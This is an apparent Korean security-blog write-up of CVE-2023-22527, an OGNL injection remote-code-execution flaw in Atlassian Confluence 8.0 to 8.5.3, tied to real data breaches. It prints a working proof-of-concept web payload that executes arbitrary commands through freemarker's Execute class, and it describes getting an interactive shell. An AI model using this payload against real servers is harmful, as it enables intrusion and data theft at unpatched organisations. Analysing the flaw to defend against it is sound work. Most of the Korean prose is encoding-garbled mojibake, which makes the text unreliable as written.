ํด๋น ๋ธ๋ก๊ทธ๋ ํดํน ๋ฐ ๋ณด์ ๋ธ๋ก๊ทธ๋ก ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก ์์ฑ๋์ด์ง๊ณ ์์ต๋๋ค. ์๋์ ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก ํดํน ์๋ ๋ฐ ์ค์ ๊ณต๊ฒฉ์ ์๋ํ์ฌ ์ผ์ด๋๋ ๋ชจ๋ ์ฑ ์์ ๋ณธ์ธ(๋ฐ๋ผํ์)์๊ฒ ์์์ ์๋ ค๋๋ฆฌ๋ฉฐ, ๊ธ์ด์ด๋ ์๋ฌด๋ฐ ์ฑ ์์ ์ง์ง ์์ต๋๋ค. ๊ผญ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ์ฉ์ผ๋ก๋ง ์ฌ์ฉํ์ฌ ์ฃผ์๊ธธ ๋ฐ๋๋๋ค. ๋ํ ์ฝ๊ฐ์ ํ๋ฆฐ๋ด์ฉ ๋ฐ ์ฌ์ฉ๋ ์ทจ์ฝ์ ์ด ์ถ๊ฐ์ ์ผ๋ก ์์์ ์๋ ค๋๋ฆฝ๋๋ค.
๋ช๋ฌ์ ํ ๋ ๊ทธ๋จ์ ํตํด ๋ํ๊ต, ์ฌ๋ฌ๊ธฐ๊ด์ ๋ฐ์ดํฐ๊ฐ ์ ์ถ๋ ์ผ์ด ์์๋ค. ๊ณต๊ฒฉ์๋ ์ค๊ตญ์ ๋์์ผ๋ก ๋ถ๋ฆฌ๋ ํด์ปค๋ก ์์๋์์ผ๋ฉฐ ํ ๋ ๊ทธ๋จ์ ํตํด ์ค์ ๋ฐ์ดํฐ๋ค์ด ์ ์ถ์ด ๋์๋ค.
๋ช ์ (์ค)์ ์๋๊ณ ์๋ ์ํฉ์ด๋ผ ๊ณตํด์ผ์ ๋ํ ๊ณต๊ฒฉ์ ์งํํ ๊ฒ์ด๋ผ๊ณ ์๊ณ ๋ ํ์ผ๋ ๋์์ ํ ๋ ๊ทธ๋จ์ ํตํ๋ฐ๋ก๋ ๋ฌธ์ ์ ์์ง๊ฐ ์๋ ๋ถ๋ถ์ ์๋ก ์คํด๋ฅผ ํ๊ณ ๋ง๋ฌด๋ฆฌ๊ฐ ๋์๋ค๊ณ ๊ธ์ ์ฌ๋ ธ๋ค.
์ฌ์ค ์์ ๋ด์ฉ์ ๋ญ ๊ทธ๋ฅ ๊ณต๊ฒฉ์ด ์์๊ณ ์ผ์ด๋ ์๋ ์๋ค. ์ด๋ ๊ฒ ์๊ฐํ๊ณ ์ง๋๊ฐ ์ ์์ผ๋ ํํธ์ผ๋ก ์ด๋ค์ทจ์ฝ์ ์ ์ฌ์ฉํ์์๊น ๋ผ๋ ์๊ฐ์ด ๋ค์๊ณ ์ฌ์ฉ๋ ์ทจ์ฝ์ ๊ณผ ๋์์ด ์ค์ ๋ก ์ฌ์ฉํ ํ์ด๋ก๋ ๋ฑ์ ๊ตฌํ ์์์๋ค.
์ค์ ์ฌ์ฉํ ํ์ด๋ก๋ ๊ฐ์ ๊ฒฝ์ฐ์ ๊ณต๊ฐ๋ฅผ ํ์ง์์ ์์ ์ด๋ค.
๊ณต๊ฒฉ์ด ์ผ์ด๋ ๋ ์ด๋ค ์ทจ์ฝ์ ์ ์ด์ฉํ์๋์ง ํ์ธํ์์ผ๋ ์ด์ ๊ธ์ ์ฐ๋ ์ด์ ๋ ์ทจ์ฝ์ ์ด ํจ์น์๋๊ณณ๋ค ๋ํ ๋ง์๊ณ ๊ทธ๋งํผ์ ์ด์๊ฐ ๋ง์ด ๋์๊ธฐ ๋๋ฌธ์ ์ง๊ธ์ ๊ณต๋ถ ๋ฐ ์ฐ๊ตฌ ๋ชฉ์ ์ผ๋ก ์์ฑ์ ํ๋ค. ๋ถ๋ฒ์ ์ผ๋ก ์ฌ์ฉ ์ ๋ ๊ธ์ง
์ฌ์ฉ๋ ์ทจ์ฝ์ ์ CVE-2023-22527(Atlassian Confluence)์ด๋ค. Atlassian Confluence์ ๊ฒฝ์ฐ ์์ฉ์ํค ์ฆ ํ์ ๋ฌธ์์ ์ฌ์ฉ๋๋ค๊ณ ์๊ฐํ๋ฉด ์ฌ์ธ ๊ฒ๊ฐ๋ค.
๊ทธ๋ผ ๋ชจ๋ Atlassian Confluence์์ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๊ฒ์ผ๊น?
- ๊ทธ๋ ์ง ์๋ค. ํด๋น ์ทจ์ฝ์ ์ 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3 ๋ฒ์ ์์๋ง ๋ฐ์ํ๋ค.
์์ผ์ด๋๋ ๊ฒ์ผ๊น?
- Atlassian Confluence๋ JAVA์ ์ธ์ด๋ฅผ ์ฌ์ฉํ๊ฒ ๋๋ค. ์ด๋ ๋ณต์กํ ๊ตฌ๋ฌธ์ ํธ์๋ฅผ ์ํด ๊ฐํธํ๋ฅผ ํ๋๋ฐ ์ด๋ OGNL(Object-Graph Navigation Language)๋ฅผ ์ฌ์ฉํ๊ฒ ๋๋ค. ์ฌ์ฉํ๋ ๊ฒ์ ๋ฌธ์ ๊ฐ ๋์ง์์ผ๋ ์ฌ์ฉ์ ํ ๋ ์ ์ ํ ๊ฒ์ฆ ๋ฐ ์ฌ์ฉ ํ ์ญ์ ํ์ง์์ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค. ์ฆ, ์ฐ๋ฆฌ๊ฐ ํํ ์๋ ์๊ฒฉ์ฝ๋์คํ(RCE)๊ฐ ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ด๋ค.
PoC ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด ์๋์ payload๊ฐ ์๋๋ฐ
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = r"label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'" + cmd + "'}))"
payload๋ฅผ ํ์ธํด๋ณด๋ฉด #request .KEY_Velocity.structs2.context.internalGet("OGNL") ๋ผ๋ ๊ตฌ๋ฌธ์ ํตํด OGNL๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ด๋ ๊ฒ OGNL ๊ตฌ๋ฌธ์ ์ด์ฉํ์ฌ ์๊ฒฉ์ฝ๋์คํ์ด ๊ฐ๋ฅํ์ฌ ๊ณต๊ฒฉ์ด ์คํ๋์๋ค.
๊ตฌ๋ฌธ์ ์ค์ ๋ก ๋ณด๋ด๋ณด์
๋ช ๋ น์ ๋จ์ผ์ ์ผ๋ก ๋ณด๋ผ์ ์์ง๋ง shell์ ์ด์ฉํ์ฌ ๋ํํ์ผ๋ก ๋ช ๋ น์ ์ํฌ๊ฒ์ด๋ค.
์ด๋ ๊ฒ ์๊ฒฉ ์ฝ๋์คํ์ด ๊ฐ๋ฅํ๋ค. ์ทจ์ฝํ ๋ฒ์ ์ confluence๋ฅผ ์ฌ์ฉํ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๊ณ ์๊ฐ๋ณด๋ค ์ทจ์ฝํ ์๋ฒ๋ค์ด ๋ง์ ๊ฒ์ผ๋ก ์๊ฐ๋๋ค. ํ์ธํด๋ณด๋ ๋น์ทํ ์ทจ์ฝ์ ์ด 2017๋ ์๋ ๋ฐ๊ฒฌ๋ ๊ฒ์ผ๋ก ์๊ณ ์๋ค.
์ทจ์ฝ๋ฒ์ ์ ์ฌ์ฉํ๋ ์๋ฒ๋ ๋น ๋ฅด๊ฒ ๋ณด์์ทจ์ฝ์ ํจ์น๋ ๋ฒ์ ์ผ๋ก ์ ๋ฐ์ดํธํ๋ ๊ฒ์ด ์ข์ ๊ฒ๊ฐ๋ค. ํธ์๋ฅผ ์ํด OGNL์ ์ฌ์ฉ ํ๋ ๊ฒ์ ์ข์ผ๋ ์กฐ๊ธ๋ ์ ๊ฒฝ์ ์ฐ๊ณ ์ฌ์ฉ์ ํ๋ฉด ์๋ฐฉ์ด ๊ฐ๋ฅํ์ง์์๊น๋ผ๋ ์๊ฐ์ด ๋ ๋ค.
'Metasploit > Vulnerability' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Nexpose ๊ถ๊ธ์ฆ์ด ํ๋ฆฌ๋ ์๊ฐ (0) | 2022.11.11 |
---|---|
Nexpose๋ฅผ ์ฌ์ฉํ๋ฉด์ ์๋ฌธ์ธ์ ? (0) | 2022.11.06 |
Apache Commons Text RCE(CVE-2022-42889 ์ทจ์ฝ์ ) (0) | 2022.10.24 |
๋๊ธ